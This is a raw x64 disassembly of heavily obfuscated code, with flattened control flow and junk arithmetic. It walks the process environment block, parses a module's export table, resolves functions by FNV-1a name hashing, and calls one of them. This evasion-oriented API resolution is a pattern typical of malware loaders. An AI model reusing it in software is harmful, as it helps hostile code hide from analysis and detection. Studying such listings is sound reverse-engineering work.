jmp 0x1400550cb
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x8c], eax
je 0x140058278
push rax
pushf
mov eax, 0x26b4123e
pushf
not eax
add eax, 0x88fd0455
xor eax, 0xa9af7529
rol eax, 0x54
popf
pushf
not eax
add eax, 0xa48e86d5
xor eax, 0xf091c850
rol eax, 0x82
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xf37e7d65
pushf
not eax
add eax, 0xfeda65bf
xor eax, 0x84766bc2
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x82c001ac
xor eax, 0x823d8c20
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xfbcff189
xor eax, 0xe07c98b9
rol eax, 0xa
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x48]
cmp dword [rax + 0x10], 0
je 0x140058313
push rax
pushf
mov eax, 0x67a30ed7
pushf
not eax
add eax, 0xfee43f12
xor eax, 0xd21617e0
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xaac6c367
xor eax, 0xcb6fdfd2
rol eax, 0x64
popf
pushf
not eax
add eax, 0xb89afd4b
xor eax, 0xe35e5027
rol eax, 0x7e
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x245f76e8
pushf
not eax
add eax, 0xf49345b0
xor eax, 0xe8f7d3bf
rol eax, 0
popf
pushf
not eax
add eax, 0x9d58a419
xor eax, 0xa0c9dfd3
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xcd1a7b1f
xor eax, 0xf8a46c20
rol eax, 0xa
popf
pushf
not eax
add eax, 0xc151fcf5
xor eax, 0xf1532144
rol eax, 2
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 0x24]
call fcn.1400aac98
mov dword [rsp + 0x19c], eax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, 0x6f4a60ae
pushf
not r8d
add r8d, 0xee37dd0b
xor r8d, 0xc2ab28e3
rol r8d, 0x85
popf
pushf
not r8d
add r8d, 0xea84ef78
xor r8d, 0x97347d27
rol r8d, 1
popf
pushf
not r8d
add r8d, 0x9cc0bed0
xor r8d, 0xaea46980
rol r8d, 0xaa
popf
mov edx, eax
call fcn.140161c88
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x98]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov rdx, qword [rsp + 0x48]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x78]
push rdx
not rdx
sub rdi, rdx
pop rdx
sub rdi, 1
mov rdx, rdi
mov qword [rsp + 0x350], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x350]
mov rcx, rax
call fcn.1400815da
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, dword [rsp + 0x19c]
mov edx, eax
call fcn.140161c88
push rax
pushf
mov eax, 0xb28460d7
pushf
not eax
add eax, 0xddb5ffec
xor eax, 0x966fb91f
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xfe88a634
xor eax, 0xe7b99972
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xca91fcd0
xor eax, 0xc786dc4f
rol eax, 0x3a
popf
jmp 0x1400550cb
jmp 0x1400581b4
mov rax, qword [rsp + 0x358]
add rax, 0x12bc1fd0
mov rcx, rax
call fcn.1400c8d61
mov rax, qword [rax]
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 0
jne 0x1400585b8
push rax
pushf
mov eax, 0x9cdddbba
pushf
not eax
add eax, 0xd8bb663e
xor eax, 0xc307a15e
rol eax, 0x15
popf
pushf
not eax
add eax, 0xb44fea18
xor eax, 0xea773922
rol eax, 0xe
popf
pushf
not eax
add eax, 0xa48af31e
xor eax, 0xb614913b
rol eax, 0x62
popf
pushf
not eax
add eax, 0xc0bc5d73
xor eax, 0xa2539ff6
rol eax, 0xe6
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x2d1f5bfb
pushf
not eax
add eax, 0xfda0368f
xor eax, 0x9e41de12
rol eax, 0x86
popf
pushf
not eax
add eax, 0xaadb067e
xor eax, 0xce912d33
rol eax, 0x82
popf
pushf
not eax
add eax, 0xc5ef848d
xor eax, 0xf931dcd7
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xa7caf1b9
xor eax, 0xe48b91b9
rol eax, 0xfd
popf
jmp 0x1400550cb
xor al, al
jmp 0x14005ab2c
mov rax, qword [rsp + 0x250]
add rax, 0x1d8
mov rcx, rax
call fcn.1400c8d61
mov rax, qword [rax]
mov qword [rsp + 0x258], rax
cmp qword [rsp + 0x258], 0
jne 0x1400586e3
push rax
pushf
mov eax, 0x36000a2a
pushf
not eax
add eax, 0xd2470e93
xor eax, 0xb32ac727
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xdc6c0ba8
xor eax, 0xe5e92b12
rol eax, 0x71
popf
pushf
not eax
add eax, 0xb3ebd50e
xor eax, 0x99d84c5e
rol eax, 0x90
popf
pushf
not eax
add eax, 0xdcbfd43d
xor eax, 0x97aff080
rol eax, 0x1a
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x29c5d052
pushf
not eax
add eax, 0xe4400442
xor eax, 0xc02f001d
rol eax, 0x54
popf
pushf
not eax
add eax, 0x95181ae2
xor eax, 0xdaaa44e6
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xe8ca6cb4
xor eax, 0xd6df2756
rol eax, 0x9d
popf
jmp 0x1400550cb
xor al, al
jmp 0x14005ab2c
mov rax, qword [rsp + 0x258]
add rax, 0x38
mov rcx, rax
call fcn.1400c8d61
mov rax, qword [rax]
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x260], 0
jne 0x1400587e6
push rax
pushf
mov eax, 0x73e1d1fb
pushf
not eax
add eax, 0xcce50966
xor eax, 0xb4890c91
rol eax, 0x10
popf
pushf
not eax
add eax, 0xca9f0de3
xor eax, 0xceda8c01
rol eax, 0x31
popf
pushf
not eax
add eax, 0xa185c32a
xor eax, 0xa4d34236
rol eax, 6
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x1a435ab3
pushf
not eax
add eax, 0xf6965cf6
xor eax, 0x8ff62998
rol eax, 0x79
popf
pushf
not eax
add eax, 0xc114525b
xor eax, 0xd44a2abf
rol eax, 0x74
popf
pushf
not eax
add eax, 0xcd691f4b
xor eax, 0xa25b9cd8
rol eax, 0xac
popf
jmp 0x1400550cb
xor al, al
jmp 0x14005ab2c
mov rcx, qword [rsp + 0x260]
call fcn.1400c8d61
mov rax, qword [rax]
mov qword [rsp + 0x268], rax
cmp qword [rsp + 0x268], 0
jne 0x1400588bc
push rax
pushf
mov eax, 0x531a737c
pushf
not eax
add eax, 0xbd3d7394
xor eax, 0x87a79c8a
rol eax, 0x39
popf
pushf
not eax
add eax, 0xda118592
xor eax, 0x9e367c65
rol eax, 0x60
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xde3fe779
pushf
not eax
add eax, 0xb83983b3
xor eax, 0xbac61f83
rol eax, 0x89
popf
pushf
not eax
add eax, 0x8981c150
xor eax, 0x8f3bf15b
rol eax, 0x24
popf
pushf
not eax
add eax, 0x99e679ee
xor eax, 0xb5ca9cc4
rol eax, 0x85
popf
jmp 0x1400550cb
xor al, al
jmp 0x14005ab2c
mov rax, qword [rsp + 0x268]
add rax, 0x78
mov rcx, rax
call fcn.1400c8d61
mov rax, qword [rax]
mov qword [rsp + 0x270], rax
cmp qword [rsp + 0x270], 0
jne 0x1400589e5
push rax
pushf
mov eax, 0xc5e1e371
pushf
not eax
add eax, 0xd51b900a
xor eax, 0xcd7e6bb6
rol eax, 0xba
popf
pushf
not eax
add eax, 0xddcd2ac7
xor eax, 0xc15ac837
rol eax, 0x10
popf
pushf
not eax
add eax, 0x92f5ce3a
xor eax, 0xd8f38c6e
rol eax, 0x99
popf
pushf
not eax
add eax, 0xfc8dedec
xor eax, 0xea5ea51f
rol eax, 0x65
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x16340697
pushf
not eax
add eax, 0xba53d6f5
xor eax, 0xb134722f
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x9717db67
xor eax, 0xd2fb6124
rol eax, 0x28
popf
pushf
not eax
add eax, 0xcd98dfcf
xor eax, 0xa7e6aab7
rol eax, 0x58
popf
jmp 0x1400550cb
xor al, al
jmp 0x14005ab2c
mov rax, qword [rsp + 0x78]
add rax, 0xfdc8
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x78]
add rax, 0x14ce8
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x360]
mov r8d, 0xa82603cf
pushf
not r8d
add r8d, 0x9aaef726
xor r8d, 0xd3dcb475
rol r8d, 0xdc
popf
pushf
not r8d
add r8d, 0x81dd2e15
xor r8d, 0xb04b1c29
rol r8d, 0x2e
popf
pushf
not r8d
add r8d, 0xf2531cc7
xor r8d, 0xb4f01c01
rol r8d, 0x5f
popf
mov rdx, qword [rsp + 0x368]
mov rcx, qword [rsp + 0x270]
call fcn.14014b683
mov dword [rsp + 0x1ac], 0x3e8
mov rax, qword [rsp + 0x420]
mov qword [rsp + 0x208], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x370]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x378]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x200], rax
push rax
pushf
mov eax, 0xc4ada0b0
pushf
not eax
add eax, 0x83b7ab80
xor eax, 0xcd37da48
rol eax, 0x94
popf
pushf
not eax
add eax, 0xe870de90
xor eax, 0xca33a1d9
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x95725d2e
xor eax, 0xa97f7dde
rol eax, 0x87
popf
pushf
not eax
add eax, 0xdb853e4b
xor eax, 0xe26ffaf9
rol eax, 0xd4
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x200]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0xf8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xf8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x388], rax
mov eax, 0xf7002ce8
pushf
not eax
add eax, 0xcfb2de7e
xor eax, 0xd1b5bcc3
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xf5d5c044
xor eax, 0xc8eb0cfa
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xf63b704a
xor eax, 0xba154358
rol eax, 0xb1
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x388]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x278], rax
mov eax, dword [rsp + 0x278]
mov rcx, qword [rsp + 0xf8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x130], rax
mov eax, dword [rsp + 0x27c]
mov dword [rsp + 0x138], eax
mov rax, qword [rsp + 0x128]
cmp qword [rsp + 0x130], rax
je 0x140058ce4
push rax
pushf
mov eax, 0x1f8aa435
pushf
not eax
add eax, 0xb1d2ba2e
xor eax, 0xaa497b1d
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xf5fe3d9a
xor eax, 0xf042a898
rol eax, 1
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xea27f14e
pushf
not eax
add eax, 0xf98409e0
xor eax, 0xe5858cb9
rol eax, 0x95
popf
pushf
not eax
add eax, 0x810e85b7
xor eax, 0xb6600b47
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x82cba7f5
xor eax, 0x94aafe42
rol eax, 0xce
popf
pushf
not eax
add eax, 0x889c749e
xor eax, 0xaba9d9de
rol eax, 0x1f
popf
jmp 0x1400550cb
mov dword [rsp + 0xac], 1
jmp 0x140058de4
mov dword [rsp + 0xac], 0
push rax
pushf
mov eax, 0x26a47863
pushf
not eax
add eax, 0xb669724c
xor eax, 0xb76026ce
rol eax, 4
popf
pushf
not eax
add eax, 0xcac41cae
xor eax, 0xa2919154
rol eax, 0x13
popf
pushf
not eax
add eax, 0x81042e55
xor eax, 0xa80d1f97
rol eax, 0xdb
popf
jmp 0x1400550cb
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x3a], al
movzx eax, byte [rsp + 0x3a]
test eax, eax
je 0x140058e43
push rax
pushf
mov eax, 0x17070bd6
pushf
not eax
add eax, 0xb0eb194b
xor eax, 0x8cdd02e7
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xe2d18dab
xor eax, 0xdc43b964
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xde857d8b
xor eax, 0xb98d1908
rol eax, 0x3c
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x2efdae52
pushf
not eax
add eax, 0xdc83e34f
xor eax, 0xb7034507
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xf2113719
xor eax, 0xadde9f60
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x835439cb
xor eax, 0x9668c4bf
rol eax, 0xa2
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x130]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x1a0], eax
mov eax, dword [rsp + 0x54]
jmp 0x140058ea8
dec eax
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x1a0], 0
je 0x140058eef
push rax
pushf
mov eax, 0x73a58d83
pushf
not eax
add eax, 0x8252ab4b
xor eax, 0x8ee63aac
rol eax, 0x62
popf
pushf
not eax
add eax, 0xf225bb6b
xor eax, 0xf0f919dc
rol eax, 0x3c
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x441c5797
pushf
not eax
add eax, 0xb8616992
xor eax, 0xdd63587f
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xab378f17
xor eax, 0xfdae6432
rol eax, 5
popf
pushf
not eax
add eax, 0xc897745a
xor eax, 0xc09051b9
rol eax, 0x5c
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0x404]
mov dword [rsp + 0xb0], eax
movabs rax, 0xb6828f1a31f129bf
pushf
not rax
add rax, 0x42340ed9
xor rax, 0x4ee79f01
rol rax, 0xba
popf
pushf
not rax
add rax, 0x4aaa2e73
xor rax, 0x5dcc8439
rol rax, 0xde
popf
shr rax, 0x20
mov dword [rsp + 0xb0], eax
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x130]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x128]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x54]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x128]
mov qword [rsp + 0x280], rax
movabs rax, 0xd7f6af35e1c489d2
pushf
not rax
add rax, 0x501f306c
xor rax, 0x60e58d42
rol rax, 0x76
popf
pushf
not rax
add rax, 0x62f30e0d
xor rax, 0x75afd66b
rol rax, 0xbb
popf
pushf
not rax
add rax, 0x45b11c01
xor rax, 0x7179f636
rol rax, 0x22
popf
pushf
not rax
add rax, 0x668eddaa
xor rax, 0x418cfa62
rol rax, 0x15
popf
mov ecx, 0xd2e398bb
pushf
not ecx
add ecx, 0xff7383b7
xor ecx, 0xa28afa35
rol ecx, 0x6d
popf
pushf
not ecx
add ecx, 0xf3b5b589
xor ecx, 0xae641c37
rol ecx, 0x5d
popf
and rax, rcx
mov dword [rsp + 0x1a4], eax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x1f8], rax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x90], eax
mov rax, qword [rsp + 0x1f8]
movzx eax, byte [rax]
mov byte [rsp + 0x3b], al
mov rax, qword [rsp + 0x1f8]
inc rax
mov qword [rsp + 0x1f8], rax
movzx eax, byte [rsp + 0x3b]
mov byte [rsp + 0x32], al
movsx eax, byte [rsp + 0x32]
test eax, eax
jne 0x140059106
push rax
pushf
mov eax, 0x4893fc7f
pushf
not eax
add eax, 0xe536f60c
xor eax, 0xf7044f6e
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x9b341218
xor eax, 0xc8c1db11
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x88363401
xor eax, 0x8df4a13c
rol eax, 0x86
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xb8767058
pushf
not eax
add eax, 0x80b5cc52
xor eax, 0xdea5cb93
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xebdcdb9c
xor eax, 0xda759ed1
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xb9f79530
xor eax, 0xaf0ac6ad
rol eax, 0xa0
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x1a8], eax
jmp 0x140059350
xor eax, eax
test eax, eax
je 0x140059204
push rax
pushf
mov eax, 0x8b6ab9c8
pushf
not eax
add eax, 0xed400906
xor eax, 0xa85464ce
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xb338b415
xor eax, 0xd4742800
rol eax, 0x70
popf
pushf
not eax
add eax, 0xb9ed5c0e
xor eax, 0x8da80bed
rol eax, 0x1b
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x35e37711
pushf
not eax
add eax, 0xc8fe15b6
xor eax, 0x943acaa0
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xe95c6507
xor eax, 0xe0bc2494
rol eax, 0xac
popf
jmp 0x1400550cb
movsx eax, byte [rsp + 0x32]
or eax, 0x20
mov dword [rsp + 0xb4], eax
jmp 0x1400592f6
movsx eax, byte [rsp + 0x32]
mov dword [rsp + 0xb4], eax
push rax
pushf
mov eax, 0x848749b
pushf
not eax
add eax, 0xc7669530
xor eax, 0xf412e60b
rol eax, 0x79
popf
pushf
not eax
add eax, 0x83442b43
xor eax, 0xdd070c97
rol eax, 0x41
popf
pushf
not eax
add eax, 0xb212bf3b
xor eax, 0xcb4bf350
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xb4078155
xor eax, 0xf6d9c639
rol eax, 0x3a
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0x90]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x90], eax
jmp 0x14005908c
mov eax, dword [rsp + 0x1a4]
cmp dword [rsp + 0x1a8], eax
jne 0x1400593b9
push rax
pushf
mov eax, 0x623bc7cb
pushf
not eax
add eax, 0xf00ccafa
xor eax, 0xdf7f20df
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xe1cf208c
xor eax, 0xd7c7c8e0
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x9eeab59d
xor eax, 0x96da261f
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xc9cddbb9
xor eax, 0x9067ba7b
rol eax, 0xde
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x9cbbe096
pushf
not eax
add eax, 0xe0a39db5
xor eax, 0xeb422599
rol eax, 0x95
popf
pushf
not eax
add eax, 0xe4fdc2ad
xor eax, 0xd678adf9
rol eax, 0xed
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x130]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x128]
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x130]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x128]
mov qword [rsp + 0x390], rax
mov eax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x390]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x398]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x128]
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x208], rax
jmp 0x140059603
jmp 0x140058e98
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0x3a8]
mov rax, qword [rax]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x200], rax
mov byte [rsp + 0x3c], 1
movzx eax, byte [rsp + 0x3c]
test eax, eax
jne 0x14005957e
push rax
pushf
mov eax, 0x859cf993
pushf
not eax
add eax, 0x9fca9936
xor eax, 0xda0baf97
rol eax, 0xa
popf
pushf
not eax
add eax, 0xf7e28cff
xor eax, 0xd0cd3196
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xf460b674
xor eax, 0x846a743f
rol eax, 0x49
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x235abd43
pushf
not eax
add eax, 0xd63d3626
xor eax, 0xc5c7d3f5
rol eax, 0x79
popf
pushf
not eax
add eax, 0xf756d2a8
xor eax, 0xc8689711
rol eax, 0x9a
popf
jmp 0x1400550cb
mov qword [rsp + 0x208], 0
push rax
pushf
mov eax, 0xa463c86a
pushf
not eax
add eax, 0xe556f24c
xor eax, 0x8f9fd5d7
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xce566ca2
xor eax, 0xbf7dda63
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x907dce2c
xor eax, 0x98d8c670
rol eax, 0xfe
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0x1ac]
mov dword [rsp + 0x1b0], eax
mov ecx, dword [rsp + 0x1b0]
jmp 0x140059619
call qword [rsp + 0x208]
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x80]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x70], rax
xor eax, eax
mov word [rsp + 0x40], ax
jmp 0x1400596f1
movzx eax, word [rsp + 0x40]
inc ax
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x70]
add rax, 0x28
mov qword [rsp + 0x70], rax
push rax
pushf
mov eax, 0xe5b84038
pushf
not eax
add eax, 0xbb814c5d
xor eax, 0xcfadd035
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x8a17302c
xor eax, 0xeb750ea3
rol eax, 0x32
popf
pushf
not eax
add eax, 0x8676887a
xor eax, 0xdf18c85c
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xa07bcd2e
xor eax, 0x9a3b8851
rol eax, 0x15
popf
jmp 0x1400550cb
movzx eax, word [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140059763
push rax
pushf
mov eax, 0x974340a6
pushf
not eax
add eax, 0xafff6a09
xor eax, 0x9a1752ab
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xefaa1d7a
xor eax, 0xa3166e76
rol eax, 0x22
popf
pushf
not eax
add eax, 0xb01acec6
xor eax, 0xf1e3de0c
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xca1407ee
xor eax, 0xfe4e4393
rol eax, 0xfd
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x2a4fe79b
pushf
not eax
add eax, 0xa1ba879b
xor eax, 0x81d29a8b
rol eax, 0x10
popf
pushf
not eax
add eax, 0xc819f903
xor eax, 0xcc05024a
rol eax, 0x2b
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x10], 0
jne 0x1400597fa
push rax
pushf
mov eax, 0xe6e0dc91
pushf
not eax
add eax, 0xbb0386f2
xor eax, 0xa48c61da
rol eax, 0x70
popf
pushf
not eax
add eax, 0xbd52a931
xor eax, 0xbdcc5960
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xcac5758b
xor eax, 0x9e50b308
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xdbe26373
xor eax, 0x9d8ad173
rol eax, 0x93
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x4eebcbd6
pushf
not eax
add eax, 0xcfb503c4
xor eax, 0x9aa84c1e
rol eax, 0x51
popf
pushf
not eax
add eax, 0xd90d2726
xor eax, 0xe126f33b
rol eax, 0x3e
popf
jmp 0x1400550cb
jmp 0x14005967d
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x70]
lea rcx, [0x1bab4eb39]
pushf
sub rcx, 0x7ab1cebd
popf
sub rcx, rax
push rax
pushf
mov eax, 0x999713f7
pushf
not eax
add eax, 0x8c73f145
xor eax, 0xca6ff94f
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xfe03df3c
xor eax, 0xec3e6d9b
rol eax, 0x19
popf
jmp 0x1400550cb
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x1400599dc
inc rax
test dl, dl
jne 0x140059949
push rax
pushf
mov eax, 0xd72ecb30
pushf
not eax
add eax, 0x86b29adf
xor eax, 0x9a4f5419
rol eax, 0x42
popf
pushf
not eax
add eax, 0xdcda57bb
xor eax, 0xde0c0049
rol eax, 0x77
popf
pushf
not eax
add eax, 0x989bb8f5
xor eax, 0x8de40c53
rol eax, 0x92
popf
pushf
not eax
add eax, 0xa2fe1ea5
xor eax, 0xe5add17d
rol eax, 0x75
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x583acb75
pushf
not eax
add eax, 0xd0c385d4
xor eax, 0x87349e8d
rol eax, 0xff
popf
pushf
not eax
add eax, 0x82bccb50
xor eax, 0x82dc00e6
rol eax, 0x35
popf
jmp 0x1400550cb
xor eax, eax
jmp 0x140059a27
sbb eax, eax
or eax, 1
push rax
pushf
mov eax, 0x191f7272
pushf
not eax
add eax, 0xad8f1aab
xor eax, 0xb7e140aa
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x88f46000
xor eax, 0xe57e406e
rol eax, 0x67
popf
pushf
not eax
add eax, 0xf0035a27
xor eax, 0x9b2eed45
rol eax, 0x5d
popf
jmp 0x1400550cb
test eax, eax
je 0x140059a5e
push rax
pushf
mov eax, 0xc55e3caa
pushf
not eax
add eax, 0xcd4cf8d9
xor eax, 0xab28a664
rol eax, 0x64
popf
pushf
not eax
add eax, 0x9c62b9a2
xor eax, 0xd0011137
rol eax, 0xbc
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xbb4ad601
pushf
not eax
add eax, 0xf830df4f
xor eax, 0x81434c66
rol eax, 0x92
popf
pushf
not eax
add eax, 0xa4e88500
xor eax, 0xecf416e0
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xaa840a60
xor eax, 0xa6b47082
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x9972c5da
xor eax, 0xdc1c6930
rol eax, 0x8b
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x70]
lea rcx, [0x1b9aedb05]
pushf
sub rcx, 0x79abbe81
popf
sub rcx, rax
push rax
pushf
mov eax, 0x9822c86b
pushf
not eax
add eax, 0xb11c8fa2
xor eax, 0xbf8f95f0
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xbf5046de
xor eax, 0xe2ff9f34
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x907f2dfb
xor eax, 0xc3fade88
rol eax, 0xa6
popf
jmp 0x1400550cb
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140059b57
push rax
pushf
mov eax, 0x64ec162c
pushf
not eax
add eax, 0x89988ebb
xor eax, 0x9de0489e
rol eax, 0x56
popf
pushf
not eax
add eax, 0xc69f58b3
xor eax, 0xc2710e66
rol eax, 0x9b
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xa8ad9b9
pushf
not eax
add eax, 0x856cb948
xor eax, 0xba9c6f86
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x9c96f827
xor eax, 0xd0d32829
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xc38db4fa
xor eax, 0xfcebbcee
rol eax, 0x47
popf
jmp 0x1400550cb
inc rax
test dl, dl
jne 0x140059bfd
push rax
pushf
mov eax, 0xd47dd47d
pushf
not eax
add eax, 0x87193dab
xor eax, 0xe3998162
rol eax, 0xea
popf
pushf
not eax
add eax, 0xb292d0af
xor eax, 0xa4af842f
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x95791585
xor eax, 0xa54a057e
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xe336a481
xor eax, 0xd952374e
rol eax, 0xe
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x7bd37e9c
pushf
not eax
add eax, 0x9ad45e13
xor eax, 0xdc924449
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xd0c8de59
xor eax, 0xc07e67bf
rol eax, 0x53
popf
pushf
not eax
add eax, 0xca859fc8
xor eax, 0xb7b55ed3
rol eax, 0x55
popf
jmp 0x1400550cb
xor eax, eax
jmp 0x140059d01
sbb eax, eax
or eax, 1
push rax
pushf
mov eax, 0x4fc9a198
pushf
not eax
add eax, 0x90ca3492
xor eax, 0x902aae5b
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xeccfd53e
xor eax, 0x8afde14f
rol eax, 4
popf
pushf
not eax
add eax, 0x961f2c71
xor eax, 0x99828e86
rol eax, 0x8a
popf
pushf
not eax
